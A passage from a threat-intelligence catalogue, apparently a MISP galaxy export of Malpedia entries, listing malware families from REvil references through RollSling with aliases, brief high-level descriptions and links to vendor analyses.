https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter

https://www.grahamcluley.com/travelex-paid-ransom/

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/

https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf

https://twitter.com/SophosLabs/status/1412056467201462276

https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/

https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/

https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo

https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/

https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf

https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide

https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend

https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/

https://hatching.io/blog/ransomware-part2

https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/

https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states

https://www.s-rminform.com/cyber-intelligence-briefing/exmatter-malware-levels-up

https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos

https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions

https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/

https://www.ironnet.com/blog/ransomware-graphic-blog

https://f.hubspotusercontent10.net/hubfs/5943619/Whitepaper-Downloads/Ransomware_in_ICS_Environments_Whitepaper_10_12_20.pdf

https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/

https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://twitter.com/svch0st/status/1411537562380816384

https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/

https://www.zdnet.com/article/revil-ransomware-gang-launches-auction-site-to-sell-stolen-data/

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain

https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/

https://community.riskiq.com/article/3315064b

https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment

https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/

https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/

https://www.youtube.com/watch?v=QYQQUUpU04s

https://twitter.com/fwosar/status/1411281334870368260

https://www.justice.gov/opa/pr/sodinokibirevil-ransomware-defendant-extradited-united-states-and-arraigned-texas

https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf

https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html

https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf

https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/

https://twitter.com/LloydLabs/status/1411098844209819648

https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack

https://www.secureworks.com/blog/revil-the-gandcrab-connection

https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/

https://threatpost.com/ransomware-revil-sites-disappears/167745/

https://www.secureworks.com/research/lv-ransomware

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf

https://twitter.com/*alex_il*/status/1412403420217159694

https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://blog.group-ib.com/REvil_RaaS

https://unit42.paloaltonetworks.com/prometheus-ransomware/

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf

https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?blob=publicationFile&v=2
https://home.treasury.gov/news/press-releases/jy0471
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/
https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view
https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f
https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process
https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/
https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/

RGDoor

The tag is: *misp-galaxy:malpedia="RGDoor"*

RGDoor is also known as:

Table 4963. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-lyceum
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/
https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/
https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view
https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran

Rhadamanthys

According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.

At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.

The tag is: *misp-galaxy:malpedia="Rhadamanthys"*

Rhadamanthys is also known as:

Table 4964. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
https://x.com/Threatlabz/status/1950949733935223110
https://www.trendmicro.com/en_us/research/25/c/deep-dive-into-water-gamayun.html
https://revdiaries.com/post/solara-malware-analysis
https://www.politie.nl/nieuws/2025/november/12/11-opnieuw-criminele-infrastructuur-ontmanteld-in-internationale-ransomware-operatie.html
https://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/
https://x.com/CERTCyberdef/status/1900460479778030013
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta547-targets-german-organizations-rhadamanthys-stealer
https://www.malware-traffic-analysis.net/2023/01/03/index.html
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/
https://www.recordedfuture.com/the-travels-of-markopolo-self-proclaimed-meeting-software-vortax-spreads-infostealers
https://asec.ahnlab.com/en/89551/
https://www.elastic.co/security-labs/deobfuscating-alcatraz
https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques
https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks
https://go.recordedfuture.com/hubfs/reports/mtp-2024-0926.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://www.accenture.com/us-en/blogs/security/information-stealer-malware-on-dark-web
https://symantec-enterprise-blogs.security.com/threat-intelligence/malware-ai-llm
https://research.checkpoint.com/2024/massive-phishing-campaign-deploys-latest-rhadamanthys-version/
https://outpost24.com/blog/unveiling-encrypthub-multi-stage-malware/
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://outpost24.com/blog/rhadamanthys-malware-analysis/
https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023
https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/
https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/Rhdamanthys/Rhadamanthys-EN.pdf
https://research.checkpoint.com/2024/stargazers-ghost-network/
https://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/
https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88
https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf
https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://threatmon.io/rhadamanthys-stealer-analysis-threatmon/
https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/
https://www.secureworks.com/research/the-growing-threat-from-infostealers
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://x.com/vmray/status/1929865947235467331

Rhino

Ransomware.

The tag is: *misp-galaxy:malpedia="Rhino"*

Rhino is also known as:

Table 4965. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino
https://www.vmray.com/cyber-security-blog/rhino-ransomware-malware-analysis-spotlight/

RHttpCtrl

The tag is: *misp-galaxy:malpedia="RHttpCtrl"*

RHttpCtrl is also known as:

Table 4966. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/

Rhysida (Windows)

The tag is: *misp-galaxy:malpedia="Rhysida (Windows)"*

Rhysida (Windows) is also known as:

Table 4967. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida
https://fourcore.io/blogs/rhysida-ransomware-history-ttp-adversary-emulation
https://www.threatdown.com/blog/rhysida-using-oyster-backdoor-to-deliver-ransomware/
https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html
https://decoded.avast.io/threatresearch/rhysida-ransomware-technical-analysis/
https://www.at-bay.com/threat-research/rhysida-evading-detection/
https://www.linkedin.com/posts/prodaft_organic-relationship-between-rhysida-vice-activity-7091777236663427072-NQEs
https://www.secplicity.org/2023/05/23/scratching-the-surface-of-rhysida-ransomware/
https://blog.talosintelligence.com/rhysida-ransomware/
https://detect.fyi/rhysida-ransomware-and-the-detection-opportunities-3599e9a02bb2
https://www.fortinet.com/blog/threat-research/investigating-the-new-rhysida-ransomware

https://go.recordedfuture.com/hubfs/reports/cta-2024-1009.pdf
https://www.sentinelone.com/blog/rhysida-ransomware-raas-crawls-out-of-crimeware-undergrowth-to-attack-chilean-army/
https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/
https://www.shadowstackre.com/analysis/rhysida
https://www.bleepingcomputer.com/news/security/rhysida-ransomware-behind-recent-attacks-on-healthcare/
https://blog.talosintelligence.com/emerging-interlock-ransomware/
https://www.helpnetsecurity.com/2024/02/12/rhysida-ransomware-decryptor/
https://go.recordedfuture.com/hubfs/reports/cta-2025-0130.pdf

Rietspoof

Rietspoof is malware that mainly acts as a dropper and downloader, however, it also sports bot capabilities and appears to be in active development.

The tag is: *misp-galaxy:malpedia="Rietspoof"*

Rietspoof is also known as:

Table 4968. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rietspoof
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-spoofing-reeds-rietspoof/
https://decoded.avast.io/threatintel/spoofing-in-the-reeds-with-rietspoof/
https://blog.avast.com/rietspoof-malware-increases-activity

Rifdoor

The tag is: *misp-galaxy:malpedia="Rifdoor"*

Rifdoor is also known as:

Table 4969. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor
AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf]
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/

https://mega.nz/file/lkh1gY5C#93FUlwTwl0y27cfM0jtm4SYnWbtk06d0qoDg1e4eQ6s
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
http://www.issuemakerslab.com/research3/

Rikamanu

The tag is: *misp-galaxy:malpedia="Rikamanu"*

Rikamanu is also known as:

Table 4970. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

Rincux

The tag is: *misp-galaxy:malpedia="Rincux"*

Rincux is also known as:

Table 4971. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux
https://www.virusbulletin.com/uploads/pdf/conference_slides/2011/Edwards-Nazario-VB2011.pdf

Ripper ATM

The tag is: *misp-galaxy:malpedia="Ripper ATM"*

Ripper ATM is also known as:

Table 4972. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm
http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

RiseLoader

RiseLoader is a new malware loader family first observed in October 2024. It uses a custom TCP-based binary network protocol similar to, but distinct from, that used by the PrivateLoader and

RisePro malware families. RiseLoader often drops other malware families, such as Vidar, Lumma Stealer, and XMRig, as secondary payloads. It collects information about installed applications and browser extensions, likely related to cryptocurrency.

Key technical characteristics of RiseLoader include:

Anti-analysis Techniques: Samples are often packed with VMProtect and obfuscate strings related to malware analysis and debugging tools.

Behavioural Analysis: Creates a mutex with a hardcoded prefix and randomly generated suffixes. Communicates with a C2 server over TCP using a custom protocol involving specific message types for tasks such as transferring system information, receiving payloads, and confirming execution. Downloads and executes payloads from URLs provided by the C2 server. Creates registry keys as infection markers.

Network Communication: Uses a custom TCP-based protocol with message types like SEND_VICTIM_INFO, SYS_INFO, PAYLOADS, KEEPALIVE, and others. Data is XOR encoded using keys exchanged via a SET_XORKEYS message. The protocol includes a three-way handshake and mechanisms for re-establishing connections.

Similarities to RisePro/PrivateLoader: Shares similar network communication protocols and message structures with RisePro and PrivateLoader suggesting a potential link between their developers, though RiseLoader's protocol appears simplified. It currently lacks RisePro/PrivateLoader's information-stealing features but may be under development.

The tag is: *misp-galaxy:malpedia="RiseLoader"*

RiseLoader is also known as:

Table 4973. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.riseloader
https://www.zscaler.com/blogs/security-research/technical-analysis-riseloader

RisePro

RisePro is a stealer that is spread through downloaders like win.privateloader. Once executed on a system, the malware can steal credit card information, passwords, and personal data.

The tag is: *misp-galaxy:malpedia="RisePro"*

RisePro is also known as:

Table 4974. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro

https://www.linkedin.com/posts/threatmon_risepro-stealer-malware-analysis-report-ugcPost-7180497665137221633-aUGL?utm_source=share&utm_medium=member_desktop
https://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service
https://research.checkpoint.com/2024/stargazers-ghost-network/
https://embee-research.ghost.io/identifying-risepro-panels-using-censys/
https://blog.sekoia.io/new-risepro-stealer-distributed-by-the-prominent-privateloader/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://www.gdatasoftware.com/blog/2024/03/37885-risepro-stealer-campaign-github
https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion
https://any.run/cybersecurity-blog/risepro-malware-communication-analysis/

Rising Sun

The tag is: *misp-galaxy:malpedia="Rising Sun"*

Rising Sun is also known as:

Table 4975. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/

RM3

Created from the codebase of Gozi/ISFB.

The tag is: *misp-galaxy:malpedia="RM3"*

RM3 is also known as:

Table 4976. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3
https://twitter.com/URSNIFleak

https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/

RMS

CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.

The tag is: *misp-galaxy:malpedia="RMS"*

RMS is also known as:

- Gussdoor
- Remote Manipulator System
- RuRAT

Table 4977. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rms
https://blog.yoroi.company/research/ta505-is-expanding-its-operations/
https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://securelist.com/horns-n-hooves-campaign-delivering-netsupport-rat/114740/
https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf
https://awakesecurity.com/blog/catching-the-white-stork-in-flight/
https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/
https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution
https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf

ROADSWEEP

The tag is: *misp-galaxy:malpedia="ROADSWEEP"*

ROADSWEEP is also known as:

Table 4978. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roadsweep
https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against?e=48754805&hl=en

RoarBAT

According to SOCRadar, this is a batch script that uses WinRAR to delete files with target file extensions from a disk.

The tag is: *misp-galaxy:malpedia="RoarBAT"*

RoarBAT is also known as:

Table 4979. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roar_bat
https://socradar.io/sandworm-attackers-use-winrar-to-wipe-data-from-government-devices/
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf

RobinHood

The tag is: *misp-galaxy:malpedia="RobinHood"*

RobinHood is also known as:

- RobbinHood

Table 4980. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.robinhood
https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/
https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/
https://twitter.com/VK_Intel/status/1121440931759128576
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/
https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/
https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/
https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/
https://goggleheadedhacker.com/blog/post/12

rock

The tag is: *misp-galaxy:malpedia="rock"*

rock is also known as:

- yellowalbatross

Table 4981. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rock

Rockloader

The tag is: *misp-galaxy:malpedia="Rockloader"*

Rockloader is also known as:

Table 4982. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader
https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware

https://intel471.com/blog/a-brief-history-of-ta505
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/

Rofin

The tag is: *misp-galaxy:malpedia="Rofin"*

Rofin is also known as:

Table 4983. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin

RogueRobinNET

A .NET variant of ps1.roguerobin

The tag is: *misp-galaxy:malpedia="RogueRobinNET"*

RogueRobinNET is also known as:

Table 4984. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/

Rokku

The tag is: *misp-galaxy:malpedia="Rokku"*

Rokku is also known as:

Table 4985. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku

https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/

RokRAT

It is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex.

The tag is: *misp-galaxy:malpedia="RokRAT"*

RokRAT is also known as:

- DOGCALL

Table 4986. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat
http://v3lo.tistory.com/24
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/
https://securityintelligence.com/posts/itg10-targeting-south-korean-entities/
https://asec.ahnlab.com/en/89130/
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection
https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://zw01f.github.io/malware%20analysis/apt37/
https://threatmon.io/reverse-engineering-rokrat-a-closer-look-at-apt37s-onedrive-based-attack-vector/
https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
https://cocomelonc.github.io/malware/2025/05/10/malware-tricks-47.html
https://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48
https://asec.ahnlab.com/en/51751/
https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab
https://www.0x0v1.com/rearchive-rokrat-hwp/
https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
https://mp.weixin.qq.com/s?biz=MzUyMDEyNTkwNA%3D%3D&mid=2247496455&idx=1&sn=0e3af7d734671a41c9d796e7f33b085d&chksm=f9ed9fb8ce9a16ae8e9714f116e0812994e0e3d13eb75d05182e623372fc5b979d70cf403f39&scene=178&cur_album_id=1375769135073951745
https://cybersecuritynews.com/apt-c-28-group-launched-new-cyber-attack-with-fileless-rokrat-malware/
https://twitter.com/ESETresearch/status/1575103839115804672
https://asec.ahnlab.com/en/65076/
http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf
https://securelist.com/apt-trends-report-q2-2019/91897/
https://unit42.paloaltonetworks.com/atoms/moldypisces/
https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/
https://www.genians.co.kr/en/blog/threat_intelligence/toybox-story
https://www.ibm.com/downloads/cas/Z81AVOY7
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://www.youtube.com/watch?v=uoBQE5s2ba4
https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf

ROLLCOAST

ROLLCOAST is a ransomware program that encrypts files on logical drives attached to a system. ROLLCOAST is a Dynamic Linked Library (DLL) with no named exports. When observed by Mandiant it uniquely had only one ordinal export 0x01. This suggested the sample was designed to

avoid detection and be invoked within memory, possibly through BEACON provided to affiliates. Incident responders working on similar intrusions should capture memory for analysis.

The tag is: *misp-galaxy:malpedia="ROLLCOAST"*

ROLLCOAST is also known as:

- Arcane
- S4bb47h
- Sabbath

Table 4987. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rollcoast
https://www.mandiant.com/resources/sabbath-ransomware-affiliate

RollSling

The tag is: *misp-galaxy:malpedia="RollSling"*

RollSling is also known as:

Table 4988. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roll_sling
